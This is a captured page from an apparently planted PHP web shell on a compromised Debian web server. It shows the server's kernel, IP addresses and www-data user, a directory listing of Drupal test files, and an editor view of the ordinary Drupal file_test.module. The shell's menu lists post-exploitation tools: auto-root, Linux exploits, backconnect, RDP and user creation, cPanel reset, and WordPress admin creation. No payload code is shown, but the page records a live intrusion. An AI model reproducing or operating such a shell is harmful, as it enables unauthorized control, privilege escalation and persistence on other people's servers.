Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.142.199.54
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
baltic /
web /
modules /
simpletest /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
drupal_autoload_test
[ DIR ]
drwxr-xr-x
drupal_system_listing_compatib...
[ DIR ]
drwxr-xr-x
drupal_system_listing_incompat...
[ DIR ]
drwxr-xr-x
psr_0_test
[ DIR ]
drwxr-xr-x
psr_4_test
[ DIR ]
drwxr-xr-x
themes
[ DIR ]
drwxr-xr-x
upgrade
[ DIR ]
drwxr-xr-x
actions.test
5.7
KB
-rw-r--r--
actions_loop_test.info
268
B
-rw-r--r--
actions_loop_test.install
206
B
-rw-r--r--
actions_loop_test.module
2.54
KB
-rw-r--r--
ajax.test
26.15
KB
-rw-r--r--
ajax_forms_test.info
267
B
-rw-r--r--
ajax_forms_test.module
16.56
KB
-rw-r--r--
ajax_test.info
261
B
-rw-r--r--
ajax_test.module
1.84
KB
-rw-r--r--
batch.test
16.49
KB
-rw-r--r--
batch_test.callbacks.inc
3.92
KB
-rw-r--r--
batch_test.info
265
B
-rw-r--r--
batch_test.module
13.32
KB
-rw-r--r--
bootstrap.test
28.68
KB
-rw-r--r--
cache.test
15.38
KB
-rw-r--r--
common.test
130.72
KB
-rw-r--r--
common_test.css
79
B
-rw-r--r--
common_test.info
341
B
-rw-r--r--
common_test.module
7.25
KB
-rw-r--r--
common_test.print.css
79
B
-rw-r--r--
common_test_cron_helper.info
295
B
-rw-r--r--
common_test_cron_helper.module
362
B
-rw-r--r--
common_test_info.txt
334
B
-rw-r--r--
database_test.info
269
B
-rw-r--r--
database_test.install
5.72
KB
-rw-r--r--
database_test.module
6.51
KB
-rw-r--r--
database_test.test
144.13
KB
-rw-r--r--
entity_cache_test.info
319
B
-rw-r--r--
entity_cache_test.module
873
B
-rw-r--r--
entity_cache_test_dependency.i...
295
B
-rw-r--r--
entity_cache_test_dependency.m...
305
B
-rw-r--r--
entity_crud.test
1.86
KB
-rw-r--r--
entity_crud_hook_test.info
273
B
-rw-r--r--
entity_crud_hook_test.module
6
KB
-rw-r--r--
entity_crud_hook_test.test
12.47
KB
-rw-r--r--
entity_query.test
65.62
KB
-rw-r--r--
entity_query_access_test.info
289
B
-rw-r--r--
entity_query_access_test.modul...
1.5
KB
-rw-r--r--
error.test
4.58
KB
-rw-r--r--
error_test.info
273
B
-rw-r--r--
error_test.module
1.89
KB
-rw-r--r--
file.test
109.29
KB
-rw-r--r--
file_test.info
291
B
-rw-r--r--
file_test.module
12.23
KB
-rw-r--r--
filetransfer.test
4.44
KB
-rw-r--r--
filter_test.info
263
B
-rw-r--r--
filter_test.module
1.68
KB
-rw-r--r--
form.test
89.19
KB
-rw-r--r--
form_test.file.inc
1.4
KB
-rw-r--r--
form_test.info
262
B
-rw-r--r--
form_test.module
57.65
KB
-rw-r--r--
graph.test
6.23
KB
-rw-r--r--
http.php
897
B
-rw-r--r--
https.php
860
B
-rw-r--r--
image.test
18.89
KB
-rw-r--r--
image_test.info
265
B
-rw-r--r--
image_test.module
3.17
KB
-rw-r--r--
lock.test
2.56
KB
-rw-r--r--
mail.test
18.8
KB
-rw-r--r--
menu.test
71.63
KB
-rw-r--r--
menu_test.info
268
B
-rw-r--r--
menu_test.module
17.93
KB
-rw-r--r--
module.test
14.59
KB
-rw-r--r--
module_test.file.inc
203
B
-rw-r--r--
module_test.info
268
B
-rw-r--r--
module_test.install
930
B
-rw-r--r--
module_test.module
3.76
KB
-rw-r--r--
pager.test
5.36
KB
-rw-r--r--
password.test
3.44
KB
-rw-r--r--
path.test
13.27
KB
-rw-r--r--
path_test.info
268
B
-rw-r--r--
path_test.module
410
B
-rw-r--r--
registry.test
4.66
KB
-rw-r--r--
requirements1_test.info
313
B
-rw-r--r--
requirements1_test.install
505
B
-rw-r--r--
requirements1_test.module
111
B
-rw-r--r--
requirements2_test.info
392
B
-rw-r--r--
requirements2_test.module
130
B
-rw-r--r--
schema.test
13.45
KB
-rw-r--r--
session.test
22.8
KB
-rw-r--r--
session_test.info
268
B
-rw-r--r--
session_test.module
5.45
KB
-rw-r--r--
system.base.css
143
B
-rw-r--r--
system_dependencies_test.info
322
B
-rw-r--r--
system_dependencies_test.modul...
6
B
-rw-r--r--
system_incompatible_core_versi...
368
B
-rw-r--r--
system_incompatible_core_versi...
6
B
-rw-r--r--
system_incompatible_core_versi...
300
B
-rw-r--r--
system_incompatible_core_versi...
6
B
-rw-r--r--
system_incompatible_module_ver...
442
B
-rw-r--r--
system_incompatible_module_ver...
6
B
-rw-r--r--
system_incompatible_module_ver...
298
B
-rw-r--r--
system_incompatible_module_ver...
6
B
-rw-r--r--
system_test.info
286
B
-rw-r--r--
system_test.module
14.43
KB
-rw-r--r--
tablesort.test
4.67
KB
-rw-r--r--
taxonomy_test.info
305
B
-rw-r--r--
taxonomy_test.install
747
B
-rw-r--r--
taxonomy_test.module
2.65
KB
-rw-r--r--
theme.test
25.37
KB
-rw-r--r--
theme_test.inc
372
B
-rw-r--r--
theme_test.info
266
B
-rw-r--r--
theme_test.module
4.17
KB
-rw-r--r--
theme_test.template_test.tpl.p...
66
B
-rw-r--r--
unicode.test
10.89
KB
-rw-r--r--
update.test
4.69
KB
-rw-r--r--
update_script_test.info
275
B
-rw-r--r--
update_script_test.install
1.29
KB
-rw-r--r--
update_script_test.module
419
B
-rw-r--r--
update_test_1.info
261
B
-rw-r--r--
update_test_1.install
1.59
KB
-rw-r--r--
update_test_1.module
6
B
-rw-r--r--
update_test_2.info
261
B
-rw-r--r--
update_test_2.install
1.18
KB
-rw-r--r--
update_test_2.module
6
B
-rw-r--r--
update_test_3.info
261
B
-rw-r--r--
update_test_3.install
436
B
-rw-r--r--
update_test_3.module
6
B
-rw-r--r--
url_alter_test.info
272
B
-rw-r--r--
url_alter_test.install
267
B
-rw-r--r--
url_alter_test.module
1.75
KB
-rw-r--r--
xmlrpc.test
9.61
KB
-rw-r--r--
xmlrpc_test.info
303
B
-rw-r--r--
xmlrpc_test.module
3.1
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : file_test.module
<?php /** * @file * Helper module for the file tests. * * The caller is must call file_test_reset() to initializing this module before * calling file_test_get_calls() or file_test_set_return(). */ define('FILE_URL_TEST_CDN_1', 'http://cdn1.example.com'); define('FILE_URL_TEST_CDN_2', 'http://cdn2.example.com'); /** * Implements hook_menu(). */ function file_test_menu() { $items['file-test/upload'] = array( 'title' => 'Upload test', 'page callback' => 'drupal_get_form', 'page arguments' => array('_file_test_form'), 'access arguments' => array('access content'), 'type' => MENU_CALLBACK, ); return $items; } /** * Implements hook_stream_wrappers(). */ function file_test_stream_wrappers() { return array( 'dummy' => array( 'name' => t('Dummy files'), 'class' => 'DrupalDummyStreamWrapper', 'description' => t('Dummy wrapper for simpletest.'), ), 'dummy-remote' => array( 'name' => t('Dummy files (remote)'), 'class' => 'DrupalDummyRemoteStreamWrapper', 'description' => t('Dummy wrapper for simpletest (remote).'), ), ); } /** * Form to test file uploads. */ function _file_test_form($form, &$form_state) { $form['file_test_upload'] = array( '#type' => 'file', '#title' => t('Upload a file'), ); $form['file_test_replace'] = array( '#type' => 'select', '#title' => t('Replace existing image'), '#options' => array( FILE_EXISTS_RENAME => t('Appends number until name is unique'), FILE_EXISTS_REPLACE => t('Replace the existing file'), FILE_EXISTS_ERROR => t('Fail with an error'), ), '#default_value' => FILE_EXISTS_RENAME, ); $form['file_subdir'] = array( '#type' => 'textfield', '#title' => t('Subdirectory for test file'), '#default_value' => '', ); $form['extensions'] = array( '#type' => 'textfield', '#title' => t('Allowed extensions.'), '#default_value' => '', ); $form['allow_all_extensions'] = array( '#type' => 'checkbox', '#title' => t('Allow all extensions?'), '#default_value' => FALSE, ); $form['is_image_file'] = array( '#type' => 'checkbox', '#title' => t('Is this an image file?'), '#default_value' => TRUE, ); $form['submit'] = array( '#type' => 'submit', '#value' => t('Submit'), ); return $form; } /** * Process the upload. */ function _file_test_form_submit(&$form, &$form_state) { // Process the upload and perform validation. Note: we're using the // form value for the $replace parameter. if (!empty($form_state['values']['file_subdir'])) { $destination = 'temporary://' . $form_state['values']['file_subdir']; file_prepare_directory($destination, FILE_CREATE_DIRECTORY); } else { $destination = FALSE; } // Setup validators. $validators = array(); if ($form_state['values']['is_image_file']) { $validators['file_validate_is_image'] = array(); } if ($form_state['values']['allow_all_extensions']) { $validators['file_validate_extensions'] = array(); } elseif (!empty($form_state['values']['extensions'])) { $validators['file_validate_extensions'] = array($form_state['values']['extensions']); } $file = file_save_upload('file_test_upload', $validators, $destination, $form_state['values']['file_test_replace']); if ($file) { $form_state['values']['file_test_upload'] = $file; drupal_set_message(t('File @filepath was uploaded.', array('@filepath' => $file->uri))); drupal_set_message(t('File name is @filename.', array('@filename' => $file->filename))); drupal_set_message(t('File MIME type is @mimetype.', array('@mimetype' => $file->filemime))); drupal_set_message(t('You WIN!')); } elseif ($file === FALSE) { drupal_set_message(t('Epic upload FAIL!'), 'error'); } } /** * Reset/initialize the history of calls to the file_* hooks. * * @see file_test_get_calls() * @see file_test_reset() */ function file_test_reset() { // Keep track of calls to these hooks $results = array( 'load' => array(), 'validate' => array(), 'download' => array(), 'insert' => array(), 'update' => array(), 'copy' => array(), 'move' => array(), 'delete' => array(), ); variable_set('file_test_results', $results); // These hooks will return these values, see file_test_set_return(). $return = array( 'validate' => array(), 'download' => NULL, ); variable_set('file_test_return', $return); } /** * Get the arguments passed to invocation of a given hook since * file_test_reset() was last called. * * @param $op * One of the hook_file_* operations: 'load', 'validate', 'download', * 'insert', 'update', 'copy', 'move', 'delete'. * * @return * Array of the parameters passed to each call. * * @see _file_test_log_call() * @see file_test_reset() */ function file_test_get_calls($op) { $results = variable_get('file_test_results', array()); return $results[$op]; } /** * Get an array with the calls for all hooks. * * @return * An array keyed by hook name ('load', 'validate', 'download', 'insert', * 'update', 'copy', 'move', 'delete') with values being arrays of parameters * passed to each call. */ function file_test_get_all_calls() { return variable_get('file_test_results', array()); } /** * Store the values passed to a hook invocation. * * @param $op * One of the hook_file_* operations: 'load', 'validate', 'download', * 'insert', 'update', 'copy', 'move', 'delete'. * @param $args * Values passed to hook. * * @see file_test_get_calls() * @see file_test_reset() */ function _file_test_log_call($op, $args) { $results = variable_get('file_test_results', array()); $results[$op][] = $args; variable_set('file_test_results', $results); } /** * Load the appropriate return value. * * @param $op * One of the hook_file_[validate,download] operations. * * @return * Value set by file_test_set_return(). * * @see file_test_set_return() * @see file_test_reset() */ function _file_test_get_return($op) { $return = variable_get('file_test_return', array($op => NULL)); return $return[$op]; } /** * Assign a return value for a given operation. * * @param $op * One of the hook_file_[validate,download] operations. * @param $value * Value for the hook to return. * * @see _file_test_get_return() * @see file_test_reset() */ function file_test_set_return($op, $value) { $return = variable_get('file_test_return', array()); $return[$op] = $value; variable_set('file_test_return', $return); } /** * Implements hook_file_load(). */ function file_test_file_load($files) { foreach ($files as $file) { _file_test_log_call('load', array($file)); // Assign a value on the object so that we can test that the $file is passed // by reference. $file->file_test['loaded'] = TRUE; } } /** * Implements hook_file_validate(). */ function file_test_file_validate($file) { _file_test_log_call('validate', array($file)); return _file_test_get_return('validate'); } /** * Implements hook_file_download(). */ function file_test_file_download($uri) { _file_test_log_call('download', array($uri)); return _file_test_get_return('download'); } /** * Implements hook_file_insert(). */ function file_test_file_insert($file) { _file_test_log_call('insert', array($file)); } /** * Implements hook_file_update(). */ function file_test_file_update($file) { _file_test_log_call('update', array($file)); } /** * Implements hook_file_copy(). */ function file_test_file_copy($file, $source) { _file_test_log_call('copy', array($file, $source)); } /** * Implements hook_file_move(). */ function file_test_file_move($file, $source) { _file_test_log_call('move', array($file, $source)); } /** * Implements hook_file_delete(). */ function file_test_file_delete($file) { _file_test_log_call('delete', array($file)); } /** * Implements hook_file_url_alter(). */ function file_test_file_url_alter(&$uri) { // Only run this hook when this variable is set. Otherwise, we'd have to add // another hidden test module just for this hook. $alter_mode = variable_get('file_test_hook_file_url_alter', FALSE); if (!$alter_mode) { return; } // Test alteration of file URLs to use a CDN. elseif ($alter_mode == 'cdn') { $cdn_extensions = array('css', 'js', 'gif', 'jpg', 'jpeg', 'png'); // Most CDNs don't support private file transfers without a lot of hassle, // so don't support this in the common case. $schemes = array('public'); $scheme = file_uri_scheme($uri); // Only serve shipped files and public created files from the CDN. if (!$scheme || in_array($scheme, $schemes)) { // Shipped files. if (!$scheme) { $path = $uri; } // Public created files. else { $wrapper = file_stream_wrapper_get_instance_by_scheme($scheme); $path = $wrapper->getDirectoryPath() . '/' . file_uri_target($uri); } // Clean up Windows paths. $path = str_replace('\\', '/', $path); // Serve files with one of the CDN extensions from CDN 1, all others from // CDN 2. $pathinfo = pathinfo($path); if (array_key_exists('extension', $pathinfo) && in_array($pathinfo['extension'], $cdn_extensions)) { $uri = FILE_URL_TEST_CDN_1 . '/' . $path; } else { $uri = FILE_URL_TEST_CDN_2 . '/' . $path; } } } // Test alteration of file URLs to use root-relative URLs. elseif ($alter_mode == 'root-relative') { // Only serve shipped files and public created files with root-relative // URLs. $scheme = file_uri_scheme($uri); if (!$scheme || $scheme == 'public') { // Shipped files. if (!$scheme) { $path = $uri; } // Public created files. else { $wrapper = file_stream_wrapper_get_instance_by_scheme($scheme); $path = $wrapper->getDirectoryPath() . '/' . file_uri_target($uri); } // Clean up Windows paths. $path = str_replace('\\', '/', $path); // Generate a root-relative URL. $uri = base_path() . '/' . $path; } } // Test alteration of file URLs to use protocol-relative URLs. elseif ($alter_mode == 'protocol-relative') { // Only serve shipped files and public created files with protocol-relative // URLs. $scheme = file_uri_scheme($uri); if (!$scheme || $scheme == 'public') { // Shipped files. if (!$scheme) { $path = $uri; } // Public created files. else { $wrapper = file_stream_wrapper_get_instance_by_scheme($scheme); $path = $wrapper->getDirectoryPath() . '/' . file_uri_target($uri); } // Clean up Windows paths. $path = str_replace('\\', '/', $path); // Generate a protocol-relative URL. $uri = '/' . base_path() . '/' . $path; } } } /** * Implements hook_file_mimetype_mapping_alter(). */ function file_test_file_mimetype_mapping_alter(&$mapping) { // Add new mappings. $mapping['mimetypes']['file_test_mimetype_1'] = 'madeup/file_test_1'; $mapping['mimetypes']['file_test_mimetype_2'] = 'madeup/file_test_2'; $mapping['mimetypes']['file_test_mimetype_3'] = 'madeup/doc'; $mapping['extensions']['file_test_1'] = 'file_test_mimetype_1'; $mapping['extensions']['file_test_2'] = 'file_test_mimetype_2'; $mapping['extensions']['file_test_3'] = 'file_test_mimetype_2'; // Override existing mapping. $mapping['extensions']['doc'] = 'file_test_mimetype_3'; } /** * Helper class for testing the stream wrapper registry. * * Dummy stream wrapper implementation (dummy://). */ class DrupalDummyStreamWrapper extends DrupalLocalStreamWrapper { function getDirectoryPath() { return variable_get('stream_public_path', 'sites/default/files'); } /** * Override getInternalUri(). * * Return a dummy path for testing. */ function getInternalUri() { return '/dummy/example.txt'; } /** * Override getExternalUrl(). * * Return the HTML URI of a public file. */ function getExternalUrl() { return '/dummy/example.txt'; } } /** * Helper class for testing the stream wrapper registry. * * Dummy remote stream wrapper implementation (dummy-remote://). * * Basically just the public scheme but not returning a local file for realpath. */ class DrupalDummyRemoteStreamWrapper extends DrupalPublicStreamWrapper { function realpath() { return FALSE; } }
Close